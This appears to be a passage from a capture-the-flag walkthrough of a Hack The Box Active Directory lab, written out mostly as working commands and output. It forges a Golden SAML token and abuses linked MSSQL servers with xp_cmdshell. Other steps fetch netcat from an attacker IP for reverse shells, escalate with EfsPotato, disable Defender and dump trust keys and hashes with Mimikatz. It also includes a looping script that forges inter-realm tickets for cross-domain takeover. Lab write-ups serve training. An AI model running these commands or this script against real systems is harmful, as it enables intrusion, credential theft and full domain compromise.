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
[-] Encrypted Token Signing Key End
[-] Certificate value: 0818F900456D4642F29C6C88D26A59E5A7749EBC
[-] Store location value: CurrentUser
[-] Store name value: My
Issuer Identifier: The issuer identifier is the URL that ADFS uses as its identity, which shows the ADFS server's endpoint URL for services and trust relationships:
## Reading The Issuer Identifier
[-] Issuer Identifier: http://federation.ghost.htb/adfs/services/trust
[-] Detected AD FS 2019
[-] Uncharted territory! This might not work...
Relying Party Trust Information: Lists details about a relying party trust configuration, in this case, core.ghost.htb
, which includes information like the sign-in endpoint, signature algorithm, and issuance authorization rules.
## Reading Relying Party Trust Information from Database
[-]
core.ghost.htb
==================
Enabled: True
Sign-In Protocol: SAML 2.0
Sign-In Endpoint: https://core.ghost.htb:8443/adfs/saml/postResponse
Signature Algorithm: http://www.w3.org/2001/04/xmldsig-more#rsa-sha256
SamlResponseSignatureType: 1;
Identifier: https://core.ghost.htb:8443
Access Policy: <PolicyMetadata xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
<RequireFreshAuthentication>false</RequireFreshAuthentication>
<IssuanceAuthorizationRules>
<Rule>
<Conditions>
<Condition i:type="AlwaysCondition">
<Operator>IsPresent</Operator>
</Condition>
</Conditions>
</Rule>
</IssuanceAuthorizationRules>
</PolicyMetadata>
Access Policy Parameter:
Issuance Rules: @RuleTemplate = "LdapClaims"
@RuleName = "LdapClaims"
c:[Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname", Issuer == "AD AUTHORITY"]
=> issue(store = "Active Directory", types = ("http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn", "http://schemas.xmlsoap.org/claims/CommonName"), query = ";userPrincipalName,sAMAccountName;{0}", param = c.Value);
Copy the output into text files as follows:
- DKMKey.txt - the private key (Only the 2nd one works after testing).
- TKSKey.txt - the Token Signing key.
But we need to convert them into a format the tools can later use:
- TKSKey.txt needs to be Base64 decoded.
- DKMKey.txt needs to be converted to hexadecimal values.
Therefore, for the TKSKey.txt
:
cat TKSKey.txt | base64 -d > TKSKey.bin
For the DKMKey.txt
:
cat DKMKey.txt | tr -d "-" | xxd -r -p > DKMkey.bin
tr -d "-"
: Deletes all -'sxxd -r -p
: Read Hexdump
Have them ready:

Now we can Forge the Golden SAML token using the ADFSpoof tool for the user Administrator, who is available to access https://federation.ghost.htb. Base on the dumped information (Relying Party Trust Information) we extracted previously, we can run ADFSpoof.py
with the following parameters (set up virtual environment for the requirements):
python ADFSpoof.py -b TKSKey.bin DKMKey.bin -s 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' --nameid '[email protected]' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
-s:
Specifies the ADFS server (core.ghost.htb
).saml2
: Specifies the SAML protocol version 2.--endpoint'
: Specifies the endpoint URL for the SAML response to be https://core.ghost.htb:8443/adfs/saml/postResponse.--nameidformat
: Specifies the format for the NameID attribute.--nameid '[email protected]'
: Specifies the NameID for the SAML assertion, which in this case is the Administrator user.--rpidentifier 'https://core.ghost.htb:8443'
: Specifies the relying party identifier.--assertions
: Specifies the SAML assertions to be included in the SAML response. This includes attributes such as http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn and http://schemas.xmlsoap.org/claims/CommonName with the values for the Administrator user. Refer the format in the tool documentation.

Last step, we can simply use the forged SAML token to sign into other services, using tools such as the Burp Suite repeater to replay web requests. POST this token to the ADFS endpoint (https://core.ghost.htb:8443/adfs/saml/postResponse) in a way that mimics a browser or SAML client sending an authentication request. The token should be included in the body of the request in a form data field typically named SAMLResponse
, and we need to set the header Content-Type: application/x-www-form-urlencoded
:

From the response from the ADFS server, it means the assertion is valid, we should now be authenticated as the Administrator user. Right click on the request in BurpSuite and choose Request in browser, now we are redirected to the Ghost Config Panel with the set cookie:

We can now execute MSSQL commands remotely, which we will introduce in the next chapter. Except that we can run commands as user web_client by simply input like EXEC sp_linkedservers;
to check the linked servers:

There're 2 servers linked in the database, PRIMARY & DC01, we are now on DC01 (SELECT @@SERVERNAME
):

Simply run the standard SQL command on PRIMARY as sa
user to test xp_cmdshell
:
EXECUTE('EXECUTE AS LOGIN = ''sa'' EXEC SP_CONFIGURE ''show advanced options'', 1;reconfigure;EXEC SP_CONFIGURE ''xp_cmdshell'' , 1;reconfigure;exec xp_cmdshell ''whoami''') AT "PRIMARY"

We are now free to execute commands on the remote PRIMARY machine (CORP.GHOST.HTB). Set up a reverse shell then we can move to the next target (details can be referred to the next part for the same content).
MSSQL | NT Service
The credentials of Florence.Ramirez work for the windows MSSQL server as well, that we can access it with Impacket tools:
impacket-mssqlclient -windows-auth ghost.htb/florence.ramirez:'uxLmt*udNc▒▒▒▒▒▒'@ghost.htb
Once we log in successfully, we can try to utilize xp_cmdshell
to execute arbitrary commands after gaining sa
privileges. This part has been detailed introduced in the writeup for the Freelancer machine.
Since now we can only access as guest:

We need to run certain commands to be able to execute xp_cmdshell
. When we try to run exec_as_login sa;
to impersonate sa
, we got an error 'Cannot execute as the server principal because the principal "sa;" does not exist, this type of principal cannot be impersonated, or you do not have permission.'
However, since we are having an Impacket MSSQL shell, that we can use some custom commands and exploit the MSSQL server introduced in this article.
We can Enumerate linked servers in the MSSQL instance. Since we know the two domains trust each other, their databases could be configured to connect to remote databases running on other systems. This will allows us to execute a query against one host, but the data to be retrieved from multiple systems. If linked servers are configured, and we may be able to exploit this feature to move laterally between different database systems.
Impacket-mssqlclient can be used to determine server links in place, and execute commands on the remote SQL server, with custom command enum_links;
:

We discover another server named PRIMARY
. So we can use this link with command use_link [PRIMARY];
and escalate our privilege as sa
on that server to run xp_cmdshell
commands as we usually do using MSSQL language:
-- Linked servers
enum_links
use_link [PRIMARY]
-- Enable the xp_cmdshell as sa
use master
-- We cannot add `;` for the next command (?), otherwise fail!
exec_as_login sa
enable_xp_cmdshell
RECONFIGURE
Don't add ;
running MSSQL command in this server, or it fails all the time.

Run xp_cmdshell "whoami"
to check if we can run arbitrary command now:

Yes, we do. Prepare a reverse payload for a Windows machine, run xp_cmdshell "powershell -e JABjAGwAaQBlAG4AdAAgA..."
, but we failed because there's AV on the target machine blocking malicious activities:

But we have an easy way to bypass it using Netcat. We manage to upload the Netcat binary from our attack machine, and then run it separately for a reverse shell. Since Netcat is considered just a practical tool:
xp_cmdshell "echo IWR http://10.10.16.2/nc.exe -Outfile %TEMP%\nc.exe | powershell -noprofile"
xp_cmdshell "%TEMP%\nc.exe 10.10.16.2 4444 -e powershell.exe"
With Netcat listener set up in advance on our machine, we have a shell as nt service\mssqlserver:

PRIMARY | NT Authority
Run whoami /priv
we discover we have SeImpersonatePrivilege
as user NT Service:

The SeImpersonatePrivilege
allows a process to impersonate another user or process. This privilege can be exploited to elevate privileges on the system using various techniques. The famous one is the Potato series. Down the EfsPotato from Github, that exploits the SeImpersonatePrivilege
and the EFSRPC (Encrypting File System Remote Protocol) to escalate privileges on a Windows system.
And we even have Microsoft .NET Framework installed on the machine, so we don't need to compile it on our attack machine in advance:

Simply transfer the EfsPotato.cs
and then compile it on the target:
C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe EfsPotato.cs -nowarn:1691,618
1691
and618
are warning codes that the compiler would normally output during the compilation process.
After compiling, we can then run ./EfsPotato.exe 'whoami'
to testify:

NT authority/SYSTEM, the ultimate privilege user on Windows machine. Thus, we can immediately use Netcat again to send us a reverse shell with NT privilege:
.\EfsPotato.exe 'nc.exe 10.10.16.2 4445 -e powershell.exe'
Now we have the NT Authority shell:

Let's manage an MSF shell then. Before that, we need to turn off the annoying AV. With NT Authority account, we can simply run a PowerShell command to kill AV/AMSI:
Set-MpPreference -DisableRealtimeMonitoring $True
GHOST-COPR | NT Authority
After launching the MSF shell, we can discover user NT Authority is a domain user for GHOST-CORP (CORP.GHOST.HTB):

Now we can do a lot of things here. From ipconfig
we know the machine has a local network with IP address '10.0.0.10', with subnet mask '255.255.255.0'; And we can also use Bloodhound again to gather more privileged information.
The problem is that, there's no flag in this machine, which means our target should be somewhere else. Perhaps on the domain controller DC01.GHOST.HTB? Anyway, we will look into the local network to see what's out there.
And to have a better view on the domains, I then ran 'adPEAS.ps1' as my favorite:
[+] Found general Active Directory domain information for domain 'corp.ghost.htb':
Domain Name: corp.ghost.htb
Domain Functional Level: Windows 2016
Forest Name: ghost.htb
Root Domain Name: ghost.htb
Forest Children: No Subdomain[s] available
Domain Controller: PRIMARY.corp.ghost.htb
[+] Found configured domain trusts of 'corp.ghost.htb':
Target Domain Name: ghost.htb
Target Domain SID: S-1-5-21-4084500788-938703357-3654145966
Flags: IN_FOREST, DIRECT_OUTBOUND, TREE_ROOT, DIRECT_INBOUND
TrustAttributes: WITHIN_FOREST
[+] Found members in group 'BUILTIN\Administrators':
GroupName: Domain Admins
distinguishedName: CN=Domain Admins,CN=Users,DC=corp,DC=ghost,DC=htb
objectSid: S-1-5-21-2034262909-2733679486-179904498-512
[+] Found members in group 'GHOST\Enterprise Admins':
sAMAccountName: Administrator
distinguishedName: CN=Administrator,CN=Users,DC=ghost,DC=htb
objectSid: S-1-5-21-4084500788-938703357-3654145966-500
The DC on CORP.GHOST.HTB is named PRIMARY.CORP.GHOST.HTB. We can use nslookup
to check their IP on the victim machine:

And the DC on GHOST.HTB is named DC01.CORP.HTB, whose IP is:

All in all, these domains are trusted each other within the forest. In this scenario our domain (CORP.GHOST.HTB) is trusting some privileges to principal from a different domain (GHOST.HTB).
Since we are now the highest privilege owner for the PRIMARY machine on domain CORP.GHOST.HTB), whose DC is primary.ghost.htb. We can then try to lateral to GHOST.HTB (which we discover above that its DC is 'dc01.corp.ghost.htb') by abusing Child-to-Parent forest privilege escalation introduced on Hacktricks.
CROSS FOREST ATTACKS | Administrator
Enumeration
With the PoweView module imported, we can run:
Get-DomainTrust

The next attack involves performing a child-to-parent forest privilege escalation in an Active Directory (AD) environment. This attack leverages the trust relationships between a child domain and its parent domain to escalate privileges.
We can run mimikatz to dump information about trust relationships from the Local Security Authority (LSA) on the target domain controller (DC):
lsadump::trust /patch
This lsadump::trust
module dumps the forest trust keys, which can be leveraged for forging inter-realm trust tickets. Since most of the EDRs are paying attention to the KRBTGT hash, this is a stealthy way to compromise forest trusts:
mimikatz # lsadump::trust /patch
Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)
Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
[ In ] CORP.GHOST.HTB -> GHOST.HTB
* 6/18/2024 8:55:05 AM - CLEAR - 87 d6 a8 80 98 3b d7 0b aa 5e 69 24 3a 99 90 bc f8 d0 2d 64 b1 a6 f8 a6 5a 2a ff 42 bc f0 47 c4 11 3c 57 ea af 61 36 46 5e f1 9b 05 98 74 85 c9 c5 15 2c d4 f7 08 8e 10 59 85 fa 8e 48 34 d6 3b b8 4c 69 ee e1 09 0c a1 29 d4 66 a6 d0 2d cc c9 8c 08 6c 6b 50 14 ab 63 ba 13 87 04 31 7b d3 ac 65 01 5f 10 b1 09 82 f4 29 bb 5c 33 df 6e d1 db a3 06 03 9f 37 22 60 90 75 5e dd d1 2c 99 e6 ed 2e c9 89 75 16 d8 19 f9 e1 d2 15 6c dd 7e fd 94 fe 86 77 d8 1b 2f 91 c6 2f 51 03 d6 d1 da e6 fb 79 a4 53 00 2b c2 7a 93 6f 79 cd e5 83 a6 c2 d8 ca 85 be 7f 08 8b 7b 33 75 cb 48 39 cc 5c ae de e3 46 42 a0 0f d8 35 12 92 c2 15 1d 92 1e 03 63 32 8b 29 78 c3 03 a1 3b 20 c8 c9 94 38 b1 3a 31 9a dd 48 7c 52 30 7a 81 d1 75 0f 9f 30 d7 94 04
* aes256_hmac 00e2c7b1958d93502a7307cdd218bea9f783fef8d22690a50642dea7b4f69f17
* aes128_hmac 734cb9dfdeb5c942a51f689057ea32bd
* rc4_hmac_nt dae1ad83e2af14a379017f244a2f5297
[ Out ] GHOST.HTB -> CORP.GHOST.HTB
* 6/17/2024 9:51:19 AM - CLEAR - 35 40 61 63 fc 2d 24 ab 5b 37 68 af 85 0c 97 56 75 04 29 15 25 d5 01 6a 22 a6 de dc c4 85 09 9c ab a1 64 6e 5a 0e 5f 4e 18 38 06 2f fe d5 6b 9c 52 b7 81 2d 51 16 66 0c a4 fa fb 0b 25 92 e8 79 0f a6 cf e2 65 1f 36 eb 1d ee 6c 8e b0 9b d5 a2 e3 8a 40 22 c4 f9 95 0c 94 b1 c8 36 27 4d 17 56 3d 9b 3c 08 46 bb 4b 21 fd 6e 62 93 1a 48 5a e9 6e c8 94 29 e4 77 4b ec cb e6 e8 70 d9 43 4d 80 d0 54 d2 55 7e 8d 5c 76 0c bd f3 2b 28 70 82 ba 30 a7 40 45 cc 16 52 62 7d 8b 80 71 3d a5 a7 c0 0c a2 f8 ea 85 11 96 cc a6 0a 71 a9 c3 3f de c9 d3 75 c3 1e 0b a9 72 45 3e b7 cb ff 71 38 2e 0c 19 fc 3d ca 02 7b c1 e2 7f c5 b4 49 30 07 c1 8c 60 0f f7 4b aa 87 05 d1 63 a8 9d 10 d7 f8 60 1c a9 4a 56 b2 b0 d2 ad 4f bf 00 c5 36 48 77 18 ec
* aes256_hmac 2a6246855d7048ad3f39be69a216742c193afa3d841f46c4a269ba8468f3b163
* aes128_hmac a98256f08f9da89d7880ab72ff57ecfb
* rc4_hmac_nt ba8ef93f824c0f3b1e98037ae08ab68c
[ In-1] CORP.GHOST.HTB -> GHOST.HTB
* 1/31/2024 7:33:33 PM - CLEAR - f7 22 98 11 0b 7d f8 1b f7 47 2d 55 f9 90 7b 0f 55 70 d7 f8 d0 29 75 0c 5a 1d 74 11 ae a4 bf 03 db 7d 3f f3 b8 43 53 b0 0c b0 1f 24 6e b5 4b b8 ad 16 40 8d 31 44 da 6e 1e 8a a2 d2 c0 d5 6f fa 8d 06 89 7a 81 5d 7e 73 48 78 4b d2 8e ef b0 27 63 0b dc 92 c3 a1 26 72 37 b1 29 ef 9e 5c 55 69 4c 3a 34 bf 12 37 66 b0 e2 54 94 53 30 c7 bb 19 35 f2 03 86 df 96 b4 8a 5e 05 be 40 5f 25 31 d4 71 0a 9e 30 f0 8b 34 3f c4 26 ee a1 4f c5 a5 f5 aa ae 70 17 b2 f1 35 1b 3f 72 c8 e8 59 cc b4 a8 d3 b0 8f 8b 3c 8c fb 02 f0 b1 47 95 c2 41 7b 77 b5 0c 1a ea 4d ac 5d ff dc 09 71 40 ac e0 59 b2 6f 54 12 ce 35 a7 a2 c2 5f 9c 48 63 77 75 96 00 98 ac d5 e9 5a 1c b4 38 66 37 6c a9 af 2a ae d6 41 db 87 5e 7e 30 09 8f 9c 94 11 48 9a 3a e8 88 8a 9c d3 66 ec bc b8 89 64 f8 f5 aa 63 ce 50 7a
* aes256_hmac 65f29f0fb742745cbfea8e3170c992804aca7c5f9aab5db75f1aa00a814d8639
* aes128_hmac 5e5155ac760ced16b39e220802c20b97
* rc4_hmac_nt 2636885e5b7ee03e66fac8a567a14cb8
[Out-1] GHOST.HTB -> CORP.GHOST.HTB
* 6/17/2024 9:51:19 AM - CLEAR - f7 22 98 11 0b 7d f8 1b f7 47 2d 55 f9 90 7b 0f 55 70 d7 f8 d0 29 75 0c 5a 1d 74 11 ae a4 bf 03 db 7d 3f f3 b8 43 53 b0 0c b0 1f 24 6e b5 4b b8 ad 16 40 8d 31 44 da 6e 1e 8a a2 d2 c0 d5 6f fa 8d 06 89 7a 81 5d 7e 73 48 78 4b d2 8e ef b0 27 63 0b dc 92 c3 a1 26 72 37 b1 29 ef 9e 5c 55 69 4c 3a 34 bf 12 37 66 b0 e2 54 94 53 30 c7 bb 19 35 f2 03 86 df 96 b4 8a 5e 05 be 40 5f 25 31 d4 71 0a 9e 30 f0 8b 34 3f c4 26 ee a1 4f c5 a5 f5 aa ae 70 17 b2 f1 35 1b 3f 72 c8 e8 59 cc b4 a8 d3 b0 8f 8b 3c 8c fb 02 f0 b1 47 95 c2 41 7b 77 b5 0c 1a ea 4d ac 5d ff dc 09 71 40 ac e0 59 b2 6f 54 12 ce 35 a7 a2 c2 5f 9c 48 63 77 75 96 00 98 ac d5 e9 5a 1c b4 38 66 37 6c a9 af 2a ae d6 41 db 87 5e 7e 30 09 8f 9c 94 11 48 9a 3a e8 88 8a 9c d3 66 ec bc b8 89 64 f8 f5 aa 63 ce 50 7a
* aes256_hmac 37c5b6a6076f891a369416f6de05980b74af0bb903da6a9f7116084ace834317
* aes128_hmac abbd5eb343e1af08b7e813a4cbcf3617
* rc4_hmac_nt 2636885e5b7ee03e66fac8a567a14cb8
We can run wmic useraccount get name,sid
to retrieve a list of user accounts on a Windows system along with their corresponding Security Identifiers (SIDs) for future tests, as '500' for Administrator, '502' for krbtgt, '512' for Domain Admins, '519' for Enterprise Admins, etc.
Name SID Administrator S-1-5-21-2034262909-2733679486-179904498-500
Guest S-1-5-21-2034262909-2733679486-179904498-501
krbtgt S-1-5-21-2034262909-2733679486-179904498-502
Administrator S-1-5-21-4084500788-938703357-3654145966-500
Guest S-1-5-21-4084500788-938703357-3654145966-501
krbtgt S-1-5-21-4084500788-938703357-3654145966-502
kathryn.holland S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal S-1-5-21-4084500788-938703357-3654145966-3615
I then ran the Bloodhound again, and this time we harvest information for the domain CORP.GHOST.HTB:
We can also verify the SIDs for account with high privilege in domain GHOST.HTB, like ENTERPRISE [email protected] with its SID S-1-5-21-4084500788-938703357-3654145966-519
(or 512
for Domain Admins) from the Bloodhound digestor of user Florence:

SIDHistory Spoofing
Because the Forest Trust Relationship is bi-directional, it is possible to escalate from a child domain to a parent root domain by doing SIDHistory spoofing. With the dumped hash of the currentdomain\targetdomain$
trust account, we can use the trust key and domain SIDs above, forge an inter-realm TGT using Mimikatz again, adding the SID for the target domain’s Enterprise Admins group to our ‘SID history’ (require to run lsadump::trust
module before):
kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:axura.kirbi
- Parameters reference in this link.
/user:Administrator
: The user for whom the ticket is being created./domain:CORP.GHOST.HTB
: The current child domain./sid:S-1-5-21-2034262909-2733679486-179904498
: The Security Identifier (SID) of the child domain CORP.GHOST.HTB we retrieved fromlsadump::trust
module (we can also check this in Bloodhound)./sids:S-1-5-21-4084500788-938703357-3654145966-519
: The SID of a high-privilege account as our target from another domain (GHOST.HTB), indicating cross-domain access. We can check this through Bloodhound for a domain user on the DC./rc4:dae1ad83e2af14a379017f244a2f5297
: The NTLM hash of the krbtgt account, used to sign the ticket. This is the NTLM hash for user GHOST$ as DA, check by commandlsadump::lsa /patch
. The hash of the krbtgt account for CORP.GHOST.HTB (69eb46aa347a8c68edb99be2725403ab
) can also be tested./service:krbtgt
: Choose the Kerberos Ticket Granting Ticket service./target:GHOST.HTB
: The target parent domain for the Golden Ticket./ticket:axura.kirbi
: The name of the output ticket file.

Then, use Rubeus to request a Service Ticket (TGS) with the TGT we just applied, for the CIFS service on the domain controller. This ticket (CIFS) allows access to file shares and other resources on the target:
.\Rubeus.exe asktgs /ticket:axura.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt
asktgs
: Command to request a Service Ticket (TGS) from the Kerberos service./ticket:axura.kirbi
: The previously created Golden Ticket./dc:dc01.ghost.htb
: The domain controller to send the request to./service:CIFS/dc01.ghost.htb
: The service principal name (SPN) for the CIFS service on the domain controller./nowrap
: Ensures that the base64-encoded ticket does not wrap lines./ptt
: Pass the ticket directly to the current session.

If we use klist
to check the current cached tickets, we will see the TGS:

Then we can run this command to verify if we have proper privilege:
dir \\dc01.ghost.htb\c$
But we will fail:

Here's a timing issue, that if we don't make it fast enough, the TGS won't work for the session. Thus, I created a script to automate the process, with Mimikatz, Rubeus ready (change their paths in the script if they are not):
# Define the paths to the Mimikatz and Rubeus executables
$mimikatzPath = ".\mimikatz.exe"
$rubeusPath = ".\Rubeus.exe"
# Define the Mimikatz and Rubeus commands
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:axura.kirbi" exit'
$rubeusCmd = "/ticket:axura.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt"
# Define the directory to check
$targetDirectory = "\\dc01.ghost.htb\c$"
# Function to run a command and wait for it to complete
function Run-Command {
param (
[string]$cmd
)
& cmd /c $cmd | Out-Null
}
# Loop to keep trying until access is granted
while ($true) {
try {
# Run Mimikatz to dump trust information and create the Golden Ticket
Run-Command "$mimikatzPath $mimikatzTrustCmd"
Run-Command "$mimikatzPath $mimikatzGoldenCmd"
# Run Rubeus to request the TGS and apply the ticket
Run-Command "$rubeusPath asktgs $rubeusCmd"
# Check if we can access the directory
$access = Test-Path $targetDirectory
if ($access) {
Write-Host "Access granted to $targetDirectory"
dir $targetDirectory
break
} else {
Write-Host "Access denied. Purging tickets and retrying..."
klist purge
}
} catch {
Write-Host "An error occurred: $_"
klist purge
}
}
We continuously attempts to create and apply the Golden Ticket and access the C$
share. But we will succeed to make it work under the session at once, since we have quick enough to use the TGT to generate a TGS for the CIFS service that allows us to access resources from DC01.GHOST.HTB:

So now we can just access the DC01.GHOST.HTB with Read/Write rights, and take the flags using type
command.
CORP | Admininistrator
Given now we have a session with valid TGS as Administrator for domain GHOST.HTB to access the CIFS service, we can run PsExec to execute commands on remote systems.
Since the remote machine (GHOST.HTB) has AV for preventing straightforward revere shell script, we can first upload Netcat to the target:
copy nc.exe \\DC01.ghost.htb\c$\Windows\Temp\
Do some debug and test, with the following command we can manage to get a reverse shell:
.\PsExec64.exe \\DC01.ghost.htb cmd.exe /c "C:\Windows\Temp\nc.exe -e powershell 10.10.16.2 4444"

With listener set up in advance, now we are CORP\Administrator on the domain controller DC01.GHOST.HTB for GHOST.HTB. Both flags locate at the DC machine:

DC01 | NT Authority
After the flags, then it's just some playaround.
Now we don't have full access as the Administrator to kill AV on the DC, because we have only a CIFS TGS. But we do have various privileges as we can see by running whoami /priv
, including SeImpersonatePrivilege
.
Thus, we can use EfsPotato again to privesc as CORP\Administrator:

From the listener we gain shell of NT Authority, and we can check IP that tells us we are in the DC local network:

Or run command (Get-ComputerInfo).CsName
to retrieve the computer name DC01. With a full control on the DC01.GHOST.HTB, we are now free to kill AV and run Mimikatz to hashdump.
Once Mimikatz is running, enable necessary privileges:
privilege::debug
token::elevate

Dump the SAM database to get local user hashes:
lsadump::sam

We can use the dumped NTLM hashes from lsa to remote logon to all corresponding machines like PRIMARY, DC01, GHOST.
Or, we can export the tickets using the sekurlsa::ticket
module:
sekurlsa::tickets /export

But we need to rename the complex name for the ticket, using a relatively complex command:
